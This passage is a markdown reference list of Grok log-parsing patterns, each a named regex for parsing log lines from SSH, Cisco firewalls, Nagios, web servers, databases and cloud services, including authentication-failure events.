%{DATA:nagios_hostname};%{DATA:nagios_state};%{GREEDYDATA:nagios_message} +``` + +## MYSQL_AUTH_FAIL + +Pattern : +``` +%{TIMESTAMP_ISO8601:time} %{NUMBER} \[Note\] Access denied for user '%{DATA:user}'@'%{IP:source_ip}' \(using password: YES\) +``` + +## NGINXERROR + +Pattern : +``` +%{NGINXERRTIME:time} \[%{LOGLEVEL:loglevel}\] %{NONNEGINT:pid}#%{NONNEGINT:tid}: (\*%{NONNEGINT:cid} )?%{GREEDYDATA:message} +``` + +## BACULA_LOG_MAX_CAPACITY + +Pattern : +``` +User defined maximum volume capacity %{BACULA_CAPACITY} exceeded on device \"%{BACULA_DEVICE:device}\" \(%{BACULA_DEVICEPATH}\) +``` + +## HAPROXYDATE + +Pattern : +``` +%{MONTHDAY:haproxy_monthday}/%{MONTH:haproxy_month}/%{YEAR:haproxy_year}:%{HAPROXYTIME:haproxy_time}.%{INT:haproxy_milliseconds} +``` + +## NAGIOS_EC_LINE_ENABLE_HOST_NOTIFICATIONS + +Pattern : +``` +%{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_ENABLE_HOST_NOTIFICATIONS:nagios_command};%{GREEDYDATA:nagios_hostname} +``` + +## CISCOFW106021 + +Pattern : +``` +%{CISCO_ACTION:action} %{WORD:protocol} reverse path check from %{IP:src_ip} to %{IP:dst_ip} on interface %{GREEDYDATA:interface} +``` + +## NAGIOS_EC_LINE_DISABLE_HOST_NOTIFICATIONS + +Pattern : +``` +%{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_DISABLE_HOST_NOTIFICATIONS:nagios_command};%{GREEDYDATA:nagios_hostname} +``` + +## RUBY_LOGGER + +Pattern : +``` +[DFEWI], \[%{TIMESTAMP_ISO8601:timestamp} #%{POSINT:pid}\] *%{RUBY_LOGLEVEL:loglevel} -- +%{DATA:progname}: %{GREEDYDATA:message} +``` + +## CISCOFW110002 + +Pattern : +``` +%{CISCO_REASON:reason} for %{WORD:protocol} from %{DATA:src_interface}:%{IP:src_ip}/%{INT:src_port} to %{IP:dst_ip}/%{INT:dst_port} +``` + +## NAGIOS_EC_LINE_ENABLE_HOST_SVC_NOTIFICATIONS + +Pattern : +``` +%{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_ENABLE_HOST_SVC_NOTIFICATIONS:nagios_command};%{GREEDYDATA:nagios_hostname} +``` + +## NAGIOS_EC_LINE_DISABLE_HOST_SVC_NOTIFICATIONS + +Pattern : +``` +%{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_DISABLE_HOST_SVC_NOTIFICATIONS:nagios_command};%{GREEDYDATA:nagios_hostname} +``` + +## HAPROXYHTTP + +Pattern : +``` +(?:%{SYSLOGTIMESTAMP:syslog_timestamp}|%{TIMESTAMP_ISO8601:timestamp8601}) %{IPORHOST:syslog_server} %{SYSLOGPROG}: %{HAPROXYHTTPBASE} +``` + +## SSHD_RMAP_FAIL + +Pattern : +``` +reverse mapping checking getaddrinfo for %{HOSTNAME:sshd_client_hostname} \[%{IP:sshd_client_ip}\] failed - POSSIBLE BREAK-IN ATTEMPT! +``` + +## SYSLOGBASE2 + +Pattern : +``` +(?:%{SYSLOGTIMESTAMP:timestamp}|%{TIMESTAMP_ISO8601:timestamp8601}) (?:%{SYSLOGFACILITY} )?%{SYSLOGHOST:logsource}+(?: %{SYSLOGPROG}:|) +``` + +## SSHD_USER_FAIL + +Pattern : +``` +Failed password for invalid user %{USERNAME:sshd_invalid_user} from %{IP:sshd_client_ip} port %{NUMBER:sshd_port} %{WORD:sshd_protocol} +``` + +## NAGIOS_EC_LINE_ENABLE_SVC_CHECK + +Pattern : +``` +%{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_ENABLE_SVC_CHECK:nagios_command};%{DATA:nagios_hostname};%{DATA:nagios_service} +``` + +## SSHD_NORMAL_LOG + +Pattern : +``` +%{SSHD_SUCCESS}|%{SSHD_DISCONNECT}|%{SSHD_CONN_CLOSE}|%{SSHD_SESSION_OPEN}|%{SSHD_SESSION_CLOSE}|%{SSHD_SESSION_FAIL}|%{SSHD_LOGOUT_ERR} +``` + +## SSHD_FAIL + +Pattern : +``` +Failed %{WORD:sshd_auth_type} for %{USERNAME:sshd_invalid_user} from %{IP:sshd_client_ip} port %{NUMBER:sshd_port} %{WORD:sshd_protocol} +``` + +## CISCO_REASON + +Pattern : +``` +Duplicate TCP SYN|Failed to locate egress interface|Invalid transport field|No matching connection|DNS Response|DNS Query|(?:%{WORD}\s*)* +``` + +## NAGIOS_EC_LINE_DISABLE_SVC_CHECK + +Pattern : +``` +%{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_DISABLE_SVC_CHECK:nagios_command};%{DATA:nagios_hostname};%{DATA:nagios_service} +``` + +## SSHD_CORRUPTED + +Pattern : +``` +%{SSHD_IDENT_FAIL}|%{SSHD_MAPB_FAIL}|%{SSHD_RMAP_FAIL}|%{SSHD_TOOMANY_AUTH}|%{SSHD_CORRUPT_MAC}|%{SSHD_PACKET_CORRUPT}|%{SSHD_BAD_VERSION} +``` + +## SSHD_DISCONNECT + +Pattern : +``` +Received disconnect from %{IP:sshd_client_ip} port %{NUMBER:sshd_port}:%{NUMBER:sshd_disconnect_code}: %{GREEDYDATA:sshd_disconnect_status} +``` + +## BACULA_LOG_NO_CONNECT + +Pattern : +``` +Warning: bsock.c:127 Could not connect to (Client: %{BACULA_HOST:client}|Storage daemon) on %{HOSTNAME}:%{POSINT}. ERR=%{GREEDYDATA:berror} +``` + +## SSHD_MAPB_FAIL + +Pattern : +``` +Address %{IP:sshd_client_ip} maps to %{HOSTNAME:sshd_client_hostname}, but this does not map back to the address - POSSIBLE BREAK-IN ATTEMPT! +``` + +## SSHD_TCPWRAP_FAIL2 + +Pattern : +``` +warning: %{DATA:sshd_tcpd_file}, line %{NUMBER}: host name/address mismatch: %{IPORHOST:sshd_client_ip} != %{HOSTNAME:sshd_paranoid_hostname} +``` + +## MONGO3_LOG + +Pattern : +``` +%{TIMESTAMP_ISO8601:timestamp} %{MONGO3_SEVERITY:severity} %{MONGO3_COMPONENT:component}%{SPACE}(?:\[%{DATA:context}\])? %{GREEDYDATA:message} +``` + +## BACULA_LOG_FATAL_CONN + +Pattern : +``` +Fatal error: bsock.c:133 Unable to connect to (Client: %{BACULA_HOST:client}|Storage daemon) on %{HOSTNAME}:%{POSINT}. ERR=%{GREEDYDATA:berror} +``` + +## SSHD_TCPWRAP_FAIL4 + +Pattern : +``` +warning: %{DATA:sshd_tcpd_file}, line %{NUMBER}: host name/name mismatch: reverse lookup results in non-FQDN %{HOSTNAME:sshd_paranoid_hostname} +``` + +## NAGIOS_PASSIVE_SERVICE_CHECK + +Pattern : +``` +%{NAGIOS_TYPE_PASSIVE_SERVICE_CHECK:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_service};%{DATA:nagios_state};%{GREEDYDATA:nagios_comment} +``` + +## CISCOFW710001_710002_710003_710005_710006 + +Pattern : +``` +%{WORD:protocol} (?:request|access) %{CISCO_ACTION:action} from %{IP:src_ip}/%{INT:src_port} to %{DATA:dst_interface}:%{IP:dst_ip}/%{INT:dst_port} +``` + +## NAGIOS_SERVICE_FLAPPING_ALERT + +Pattern : +``` +%{NAGIOS_TYPE_SERVICE_FLAPPING_ALERT:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_service};%{DATA:nagios_state};%{GREEDYDATA:nagios_message} +``` + +## NAGIOS_SERVICE_DOWNTIME_ALERT + +Pattern : +``` +%{NAGIOS_TYPE_SERVICE_DOWNTIME_ALERT:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_service};%{DATA:nagios_state};%{GREEDYDATA:nagios_comment} +``` + +## TCPDUMP_OUTPUT + +Pattern : +``` +%{GREEDYDATA:timestamp} IP %{IPORHOST:source_ip}\.%{INT:source_port} > %{IPORHOST:dest_ip}\.%{INT:dest_port}: Flags \[%{GREEDYDATA:tcpflags}\], seq +``` + +## SSHD_TCPWRAP_FAIL1 + +Pattern : +``` +warning: %{DATA:sshd_tcpd_file}, line %{NUMBER}: can't verify hostname: getaddrinfo\(%{DATA:sshd_paranoid_hostname}, %{DATA:sshd_sa_family}\) failed +``` + +## SSHD_FAIL_PREAUTH + +Pattern : +``` +fatal: Unable to negotiate with %{IP:sshd_client_ip} port %{NUMBER:sshd_port}:\s*%{GREEDYDATA:sshd_disconnect_status}? \[%{GREEDYDATA:sshd_privsep}\] +``` + +## SSHD_TCPWRAP_FAIL3 + +Pattern : +``` +warning: %{DATA:sshd_tcpd_file}, line %{NUMBER}: host name/name mismatch: %{HOSTNAME:sshd_paranoid_hostname_1} != %{HOSTNAME:sshd_paranoid_hostname_2} +``` + +## NAGIOS_EC_LINE_ENABLE_SVC_NOTIFICATIONS + +Pattern : +``` +%{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_ENABLE_SVC_NOTIFICATIONS:nagios_command};%{DATA:nagios_hostname};%{GREEDYDATA:nagios_service} +``` + +## NAGIOS_EC_LINE_DISABLE_SVC_NOTIFICATIONS + +Pattern : +``` +%{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_DISABLE_SVC_NOTIFICATIONS:nagios_command};%{DATA:nagios_hostname};%{GREEDYDATA:nagios_service} +``` + +## NAGIOS_HOST_EVENT_HANDLER + +Pattern : +``` +%{NAGIOS_TYPE_HOST_EVENT_HANDLER:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_state};%{DATA:nagios_statelevel};%{DATA:nagios_event_handler_name} +``` + +## CISCOFW313001_313004_313008 + +Pattern : +``` +%{CISCO_ACTION:action} %{WORD:protocol} type=%{INT:icmp_type}, code=%{INT:icmp_code} from %{IP:src_ip} on interface %{DATA:interface}( to %{IP:dst_ip})? +``` + +## BACULA_LOG_END_VOLUME + +Pattern : +``` +End of medium on Volume \"%{BACULA_VOLUME:volume}\" Bytes=%{BACULA_CAPACITY} Blocks=%{BACULA_CAPACITY} at %{MONTHDAY}-%{MONTH}-%{YEAR} %{HOUR}:%{MINUTE}. +``` + +## SSHD_SUCCESS + +Pattern : +``` +Accepted %{WORD:sshd_auth_type} for %{USERNAME:sshd_user} from %{IP:sshd_client_ip} port %{NUMBER:sshd_port} %{WORD:sshd_protocol}: %{GREEDYDATA:sshd_cipher} +``` + +## SMB_AUTH_FAIL + +Pattern : +``` +Auth:%{GREEDYDATA} user \[%{DATA:smb_domain}\]\\\[%{DATA:user}\]%{GREEDYDATA} status \[NT_STATUS_NO_SUCH_USER\]%{GREEDYDATA} remote host \[ipv4:%{IP:ip_source} +``` + +## BACULA_LOG_NEW_MOUNT + +Pattern : +``` +New volume \"%{BACULA_VOLUME:volume}\" mounted on device \"%{BACULA_DEVICE:device}\" \(%{BACULA_DEVICEPATH}\) at %{MONTHDAY}-%{MONTH}-%{YEAR} %{HOUR}:%{MINUTE}. +``` + +## NAGIOS_HOST_ALERT + +Pattern : +``` +%{NAGIOS_TYPE_HOST_ALERT:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_state};%{DATA:nagios_statelevel};%{NUMBER:nagios_attempt};%{GREEDYDATA:nagios_message} +``` + +## NAGIOS_HOST_NOTIFICATION + +Pattern : +``` +%{NAGIOS_TYPE_HOST_NOTIFICATION:nagios_type}: %{DATA:nagios_notifyname};%{DATA:nagios_hostname};%{DATA:nagios_state};%{DATA:nagios_contact};%{GREEDYDATA:nagios_message} +``` + +## SYSLOGPAMSESSION + +Pattern : +``` +%{SYSLOGBASE} %{GREEDYDATA:message}%{WORD:pam_module}\(%{DATA:pam_caller}\): session %{WORD:pam_session_state} for user %{USERNAME:username}(?: by %{GREEDYDATA:pam_by})? +``` + +## NAGIOS_CURRENT_HOST_STATE + +Pattern : +``` +%{NAGIOS_TYPE_CURRENT_HOST_STATE:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_state};%{DATA:nagios_statetype};%{DATA:nagios_statecode};%{GREEDYDATA:nagios_message} +``` + +## CISCOFW419002 + +Pattern : +``` +%{CISCO_REASON:reason} from %{DATA:src_interface}:%{IP:src_ip}/%{INT:src_port} to %{DATA:dst_interface}:%{IP:dst_ip}/%{INT:dst_port} with different initial sequence number +``` + +## IPV4 + +Pattern : +``` +(?:(?:[0-1]?[0-9]{1,2}|2[0-4][0-9]|25[0-5])[.](?:[0-1]?[0-9]{1,2}|2[0-4][0-9]|25[0-5])[.](?:[0-1]?[0-9]{1,2}|2[0-4][0-9]|25[0-5])[.](?:[0-1]?[0-9]{1,2}|2[0-4][0-9]|25[0-5])) +``` + +## SSHD_FAI2_PREAUTH + +Pattern : +``` +fatal: %{GREEDYDATA:sshd_fatal_status}: Connection from %{IP:sshd_client_ip} port %{NUMBER:sshd_port}:\s*%{GREEDYDATA:sshd_disconnect_status}? \[%{GREEDYDATA:sshd_privsep}\] +``` + +## APACHEERRORPREFIX + +Pattern : +``` +\[%{APACHEERRORTIME:timestamp}\] \[%{NOTSPACE:apacheseverity}\] (\[pid %{INT}:tid %{INT}\] )?\[client %{IPORHOST:sourcehost}(:%{INT:source_port})?\] (\[client %{IPORHOST}\])? +``` + +## NAGIOS_SERVICE_EVENT_HANDLER + +Pattern : +``` +%{NAGIOS_TYPE_SERVICE_EVENT_HANDLER:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_service};%{DATA:nagios_state};%{DATA:nagios_statelevel};%{DATA:nagios_event_handler_name} +``` + +## NAGIOS_EC_LINE_PROCESS_HOST_CHECK_RESULT + +Pattern : +``` +%{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_PROCESS_HOST_CHECK_RESULT:nagios_command};%{DATA:nagios_hostname};%{DATA:nagios_state};%{GREEDYDATA:nagios_check_result} +``` + +## NAXSI_EXLOG + +Pattern : +``` +^NAXSI_EXLOG: ip=%{IPORHOST:naxsi_src_ip}&server=%{IPORHOST:naxsi_dst_ip}&uri=%{PATH:http_path}&id=%{INT:naxsi_id}&zone=%{WORD:naxsi_zone}&var_name=%{DATA:naxsi_var_name}&content= +``` + +## SSHD_PROBE_LOG + +Pattern : +``` +%{SSHD_REFUSE_CONN}|%{SSHD_TCPWRAP_FAIL1}|%{SSHD_TCPWRAP_FAIL2}|%{SSHD_TCPWRAP_FAIL3}|%{SSHD_TCPWRAP_FAIL4}|%{SSHD_TCPWRAP_FAIL5}|%{SSHD_FAIL}|%{SSHD_USER_FAIL}|%{SSHD_INVAL_USER} +``` + +## MONTH + +Pattern : +``` +\bJan(?:uary|uar)?|Feb(?:ruary|ruar)?|M(?:a|ä)?r(?:ch|z)?|Apr(?:il)?|Ma(?:y|i)?|Jun(?:e|i)?|Jul(?:y)?|Aug(?:ust)?|Sep(?:tember)?|O(?:c|k)?t(?:ober)?|Nov(?:ember)?|De(?:c|z)(?:ember)?\b +``` + +## CISCOFW419001 + +Pattern : +``` +%{CISCO_ACTION:action} %{WORD:protocol} packet from %{DATA:src_interface}:%{IP:src_ip}/%{INT:src_port} to %{DATA:dst_interface}:%{IP:dst_ip}/%{INT:dst_port}, reason: %{GREEDYDATA:reason} +``` + +## SSHD_PREAUTH + +Pattern : +``` +%{SSHD_DISC_PREAUTH}|%{SSHD_MAXE_PREAUTH}|%{SSHD_DISR_PREAUTH}|%{SSHD_INVA_PREAUTH}|%{SSHD_REST_PREAUTH}|%{SSHD_FAIL_PREAUTH}|%{SSHD_CLOS_PREAUTH}|%{SSHD_FAI2_PREAUTH}|%{SSHD_BADL_PREAUTH} +``` + +## NAGIOS_SERVICE_ALERT + +Pattern : +``` +%{NAGIOS_TYPE_SERVICE_ALERT:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_service};%{DATA:nagios_state};%{DATA:nagios_statelevel};%{NUMBER:nagios_attempt};%{GREEDYDATA:nagios_message} +``` + +## CISCOFW106015 + +Pattern : +``` +%{CISCO_ACTION:action} %{WORD:protocol} \(%{DATA:policy_id}\) from %{IP:src_ip}/%{INT:src_port} to %{IP:dst_ip}/%{INT:dst_port} flags %{DATA:tcp_flags} on interface %{GREEDYDATA:interface} +``` + +## CISCOFW602303_602304 + +Pattern : +``` +%{WORD:protocol}: An %{CISCO_DIRECTION:direction} %{GREEDYDATA:tunnel_type} SA \(SPI= %{DATA:spi}\) between %{IP:src_ip} and %{IP:dst_ip} \(user= %{DATA:user}\) has been %{CISCO_ACTION:action} +``` + +## NAGIOS_SERVICE_NOTIFICATION + +Pattern : +``` +%{NAGIOS_TYPE_SERVICE_NOTIFICATION:nagios_type}: %{DATA:nagios_notifyname};%{DATA:nagios_hostname};%{DATA:nagios_service};%{DATA:nagios_state};%{DATA:nagios_contact};%{GREEDYDATA:nagios_message} +``` + +## RT_FLOW3 + +Pattern : +``` +%{RT_FLOW_EVENT:event}: session denied %{IP:src-ip}/%{INT:src-port}->%{IP:dst-ip}/%{INT:dst-port} %{DATA:service} %{INT:protocol-id}\(\d\) %{DATA:policy-name} %{DATA:from-zone} %{DATA:to-zone} .* +``` + +## NAGIOS_CURRENT_SERVICE_STATE + +Pattern : +``` +%{NAGIOS_TYPE_CURRENT_SERVICE_STATE:nagios_type}: %{DATA:nagios_hostname};%{DATA:nagios_service};%{DATA:nagios_state};%{DATA:nagios_statetype};%{DATA:nagios_statecode};%{GREEDYDATA:nagios_message} +``` + +## CISCOFW713172 + +Pattern : +``` +Group = %{GREEDYDATA:group}, IP = %{IP:src_ip}, Automatic NAT Detection Status:\s+Remote end\s*%{DATA:is_remote_natted}\s*behind a NAT device\s+This\s+end\s*%{DATA:is_local_natted}\s*behind a NAT device +``` + +## CISCOFW402119 + +Pattern : +``` +%{WORD:protocol}: Received an %{WORD:orig_protocol} packet \(SPI= %{DATA:spi}, sequence number= %{DATA:seq_num}\) from %{IP:src_ip} \(user= %{DATA:user}\) to %{IP:dst_ip} that failed anti-replay checking +``` + +## NAGIOS_EC_LINE_PROCESS_SERVICE_CHECK_RESULT + +Pattern : +``` +%{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_PROCESS_SERVICE_CHECK_RESULT:nagios_command};%{DATA:nagios_hostname};%{DATA:nagios_service};%{DATA:nagios_state};%{GREEDYDATA:nagios_check_result} +``` + +## COMMONAPACHELOG + +Pattern : +``` +%{IPORHOST:clientip} %{HTTPDUSER:ident} %{USER:auth} \[%{HTTPDATE:timestamp}\] "(?:%{WORD:verb} %{NOTSPACE:request}(?: HTTP/%{NUMBER:httpversion})?|%{DATA:rawrequest})" %{NUMBER:response} (?:%{NUMBER:bytes}|-) +``` + +## SSHD_MAXE_PREAUTH + +Pattern : +``` +error: maximum authentication attempts exceeded for (?:invalid user |)%{USERNAME:sshd_invalid_user} from %{IP:sshd_client_ip} port %{NUMBER:sshd_port} %{WORD:sshd_protocol}\s*(?:\[%{GREEDYDATA:sshd_privsep}\]|) +``` + +## CISCOFW106001 + +Pattern : +``` +%{CISCO_DIRECTION:direction} %{WORD:protocol} connection %{CISCO_ACTION:action} from %{IP:src_ip}/%{INT:src_port} to %{IP:dst_ip}/%{INT:dst_port} flags %{GREEDYDATA:tcp_flags} on interface %{GREEDYDATA:interface} +``` + +## LOGLEVEL + +Pattern : +``` +[Aa]lert|ALERT|[Tt]race|TRACE|[Dd]ebug|DEBUG|[Nn]otice|NOTICE|[Ii]nfo|INFO|[Ww]arn?(?:ing)?|WARN?(?:ING)?|[Ee]rr?(?:or)?|ERR?(?:OR)?|[Cc]rit?(?:ical)?|CRIT?(?:ICAL)?|[Ff]atal|FATAL|[Ss]evere|SEVERE|EMERG(?:ENCY)?|[Ee]merg(?:ency)? +``` + +## CISCOFW305011 + +Pattern : +``` +%{CISCO_ACTION:action} %{CISCO_XLATE_TYPE:xlate_type} %{WORD:protocol} translation from %{DATA:src_interface}:%{IP:src_ip}(/%{INT:src_port})?(\(%{DATA:src_fwuser}\))? to %{DATA:src_xlated_interface}:%{IP:src_xlated_ip}/%{DATA:src_xlated_port} +``` + +## MONGO_SLOWQUERY + +Pattern : +``` +%{WORD} %{MONGO_WORDDASH:database}\.%{MONGO_WORDDASH:collection} %{WORD}: %{MONGO_QUERY:query} %{WORD}:%{NONNEGINT:ntoreturn} %{WORD}:%{NONNEGINT:ntoskip} %{WORD}:%{NONNEGINT:nscanned}.*nreturned:%{NONNEGINT:nreturned}..+ %{POSINT:duration}ms +``` + +## NAXSI_FMT + +Pattern : +``` +^NAXSI_FMT: ip=%{IPORHOST:src_ip}&server=%{IPORHOST:target_ip}&uri=%{PATH:http_path}&learning=\d&vers=%{DATA:naxsi_version}&total_processed=\d+&total_blocked=\d+&block=\d+(&cscore\d=%{WORD:score_label}&score\d=%{INT:score})+&zone0=%{WORD:zone} +``` + +## CISCOFW106014 + +Pattern : +``` +%{CISCO_ACTION:action} %{CISCO_DIRECTION:direction} %{WORD:protocol} src %{DATA:src_interface}:%{IP:src_ip}(\(%{DATA:src_fwuser}\))? dst %{DATA:dst_interface}:%{IP:dst_ip}(\(%{DATA:dst_fwuser}\))? \(type %{INT:icmp_type}, code %{INT:icmp_code}\) +``` + +## NGINXACCESS + +Pattern : +``` +%{IPORHOST:remote_addr} - %{NGUSER:remote_user} \[%{HTTPDATE:time_local}\] "%{WORD:method} %{URIPATHPARAM:request} HTTP/%{NUMBER:http_version}" %{NUMBER:status} %{NUMBER:body_bytes_sent} "%{NOTDQUOTE:http_referer}" "%{NOTDQUOTE:http_user_agent}" +``` + +## EXIM_EXCLUDE_TERMS + +Pattern : +``` +(Message is frozen|(Start|End) queue run| Warning: | retry time not reached | no (IP address|host name) found for (IP address|host) | unexpected disconnection while reading SMTP command | no immediate delivery: |another process is handling this message) +``` + +## CISCOFW302020_302021 + +Pattern : +``` +%{CISCO_ACTION:action}(?: %{CISCO_DIRECTION:direction})? %{WORD:protocol} connection for faddr %{IP:dst_ip}/%{INT:icmp_seq_num}(?:\(%{DATA:fwuser}\))? gaddr %{IP:src_xlated_ip}/%{INT:icmp_code_xlated} laddr %{IP:src_ip}/%{INT:icmp_code}( \(%{DATA:user}\))? +``` + +## CISCOFW106006_106007_106010 + +Pattern : +``` +%{CISCO_ACTION:action} %{CISCO_DIRECTION:direction} %{WORD:protocol} (?:from|src) %{IP:src_ip}/%{INT:src_port}(\(%{DATA:src_fwuser}\))? (?:to|dst) %{IP:dst_ip}/%{INT:dst_port}(\(%{DATA:dst_fwuser}\))? (?:on interface %{DATA:interface}|due to %{CISCO_REASON:reason}) +``` + +## HTTPD24_ERRORLOG + +Pattern : +``` +\[%{HTTPDERROR_DATE:timestamp}\] \[%{WORD:module}:%{LOGLEVEL:loglevel}\] \[pid %{POSINT:pid}:tid %{NUMBER:tid}\]( \(%{POSINT:proxy_errorcode}\)%{DATA:proxy_errormessage}:)?( \[client %{IPORHOST:client}:%{POSINT:clientport}\])? %{DATA:errorcode}: %{GREEDYDATA:message} +``` + +## MODSECAPACHEERROR + +Pattern : +``` +%{MODSECPREFIX} %{MODSECRULEFILE} %{MODSECRULELINE} (?:%{MODSECMATCHOFFSET} )?(?:%{MODSECRULEID} )?(?:%{MODSECRULEREV} )?(?:%{MODSECRULEMSG} )?(?:%{MODSECRULEDATA} )?(?:%{MODSECRULESEVERITY} )?(?:%{MODSECRULEVERS} )?%{MODSECRULETAGS}%{MODSECHOSTNAME} %{MODSECURI} %{MODSECUID} +``` + +## NAGIOS_EC_LINE_SCHEDULE_HOST_DOWNTIME + +Pattern : +``` +%{NAGIOS_TYPE_EXTERNAL_COMMAND:nagios_type}: %{NAGIOS_EC_SCHEDULE_HOST_DOWNTIME:nagios_command};%{DATA:nagios_hostname};%{NUMBER:nagios_start_time};%{NUMBER:nagios_end_time};%{NUMBER:nagios_fixed};%{NUMBER:nagios_trigger_id};%{NUMBER:nagios_duration};%{DATA:author};%{DATA:comment} +``` + +## SYSLOG5424BASE + +Pattern : +``` +%{SYSLOG5424PRI}%{NONNEGINT:syslog5424_ver} +(?:%{TIMESTAMP_ISO8601:syslog5424_ts}|-) +(?:%{HOSTNAME:syslog5424_host}|-) +(-|%{SYSLOG5424PRINTASCII:syslog5424_app}) +(-|%{SYSLOG5424PRINTASCII:syslog5424_proc}) +(-|%{SYSLOG5424PRINTASCII:syslog5424_msgid}) +(?:%{SYSLOG5424SD:syslog5424_sd}|-|) +``` + +## CISCOFW106100_2_3 + +Pattern : +``` +access-list %{NOTSPACE:policy_id} %{CISCO_ACTION:action} %{WORD:protocol} for user '%{DATA:src_fwuser}' %{DATA:src_interface}/%{IP:src_ip}\(%{INT:src_port}\) -> %{DATA:dst_interface}/%{IP:dst_ip}\(%{INT:dst_port}\) hit-cnt %{INT:hit_count} %{CISCO_INTERVAL:interval} \[%{DATA:hashcode1}, %{DATA:hashcode2}\] +``` + +## CISCOFW106100 + +Pattern : +``` +access-list %{NOTSPACE:policy_id} %{CISCO_ACTION:action} %{WORD:protocol} %{DATA:src_interface}/%{IP:src_ip}\(%{INT:src_port}\)(\(%{DATA:src_fwuser}\))? -> %{DATA:dst_interface}/%{IP:dst_ip}\(%{INT:dst_port}\)(\(%{DATA:src_fwuser}\))? hit-cnt %{INT:hit_count} %{CISCO_INTERVAL:interval} \[%{DATA:hashcode1}, %{DATA:hashcode2}\] +``` + +## RT_FLOW2 + +Pattern : +``` +%{RT_FLOW_EVENT:event}: session created %{IP:src-ip}/%{INT:src-port}->%{IP:dst-ip}/%{INT:dst-port} %{DATA:service} %{IP:nat-src-ip}/%{INT:nat-src-port}->%{IP:nat-dst-ip}/%{INT:nat-dst-port} %{DATA:src-nat-rule-name} %{DATA:dst-nat-rule-name} %{INT:protocol-id} %{DATA:policy-name} %{DATA:from-zone} %{DATA:to-zone} %{INT:session-id} .* +``` + +## CISCOFW733100 + +Pattern : +``` +\[\s*%{DATA:drop_type}\s*\] drop %{DATA:drop_rate_id} exceeded. Current burst rate is %{INT:drop_rate_current_burst} per second, max configured rate is %{INT:drop_rate_max_burst}; Current average rate is %{INT:drop_rate_current_avg} per second, max configured rate is %{INT:drop_rate_max_avg}; Cumulative total count is %{INT:drop_total_count} +``` + +## CISCOFW106023 + +Pattern : +``` +%{CISCO_ACTION:action}( protocol)? %{WORD:protocol} src %{DATA:src_interface}:%{DATA:src_ip}(/%{INT:src_port})?(\(%{DATA:src_fwuser}\))? dst %{DATA:dst_interface}:%{DATA:dst_ip}(/%{INT:dst_port})?(\(%{DATA:dst_fwuser}\))?( \(type %{INT:icmp_type}, code %{INT:icmp_code}\))? by access-group "?%{DATA:policy_id}"? \[%{DATA:hashcode1}, %{DATA:hashcode2}\] +``` + +## ELB_ACCESS_LOG + +Pattern : +``` +%{TIMESTAMP_ISO8601:timestamp} %{NOTSPACE:elb} %{IP:clientip}:%{INT:clientport:int} (?:(%{IP:backendip}:?:%{INT:backendport:int})|-) %{NUMBER:request_processing_time:float} %{NUMBER:backend_processing_time:float} %{NUMBER:response_processing_time:float} %{INT:response:int} %{INT:backend_response:int} %{INT:received_bytes:int} %{INT:bytes:int} "%{ELB_REQUEST_LINE}" +``` + +## MODSECRULETAGS + +Pattern : +``` +(?:\[tag %{QUOTEDSTRING:ruletag0}\] )?(?:\[tag %{QUOTEDSTRING:ruletag1}\] )?(?:\[tag %{QUOTEDSTRING:ruletag2}\] )?(?:\[tag %{QUOTEDSTRING:ruletag3}\] )?(?:\[tag %{QUOTEDSTRING:ruletag4}\] )?(?:\[tag %{QUOTEDSTRING:ruletag5}\] )?(?:\[tag %{QUOTEDSTRING:ruletag6}\] )?(?:\[tag %{QUOTEDSTRING:ruletag7}\] )?(?:\[tag %{QUOTEDSTRING:ruletag8}\] )?(?:\[tag %{QUOTEDSTRING:ruletag9}\] )?(?:\[tag %{QUOTEDSTRING}\] )* +``` + +## RT_FLOW1 + +Pattern : +``` +%{RT_FLOW_EVENT:event}: %{GREEDYDATA:close-reason}: %{IP:src-ip}/%{INT:src-port}->%{IP:dst-ip}/%{INT:dst-port} %{DATA:service} %{IP:nat-src-ip}/%{INT:nat-src-port}->%{IP:nat-dst-ip}/%{INT:nat-dst-port} %{DATA:src-nat-rule-name} %{DATA:dst-nat-rule-name} %{INT:protocol-id} %{DATA:policy-name} %{DATA:from-zone} %{DATA:to-zone} %{INT:session-id} \d+\(%{DATA:sent}\) \d+\(%{DATA:received}\) %{INT:elapsed-time} .* +``` + +## BRO_CONN + +Pattern : +``` +%{NUMBER:ts}\t%{NOTSPACE:uid}\t%{IP:orig_h}\t%{INT:orig_p}\t%{IP:resp_h}\t%{INT:resp_p}\t%{WORD:proto}\t%{GREEDYDATA:service}\t%{NUMBER:duration}\t%{NUMBER:orig_bytes}\t%{NUMBER:resp_bytes}\t%{GREEDYDATA:conn_state}\t%{GREEDYDATA:local_orig}\t%{GREEDYDATA:missed_bytes}\t%{GREEDYDATA:history}\t%{GREEDYDATA:orig_pkts}\t%{GREEDYDATA:orig_ip_bytes}\t%{GREEDYDATA:resp_pkts}\t%{GREEDYDATA:resp_ip_bytes}\t%{GREEDYDATA:tunnel_parents} +``` + +## S3_ACCESS_LOG + +Pattern : +``` +%{WORD:owner} %{NOTSPACE:bucket} \[%{HTTPDATE:timestamp}\] %{IP:clientip} %{NOTSPACE:requester} %{NOTSPACE:request_id} %{NOTSPACE:operation} %{NOTSPACE:key} (?:"%{S3_REQUEST_LINE}"|-) (?:%{INT:response:int}|-) (?:-|%{NOTSPACE:error_code}) (?:%{INT:bytes:int}|-) (?:%{INT:object_size:int}|-) (?:%{INT:request_time_ms:int}|-) (?:%{INT:turnaround_time_ms:int}|-) 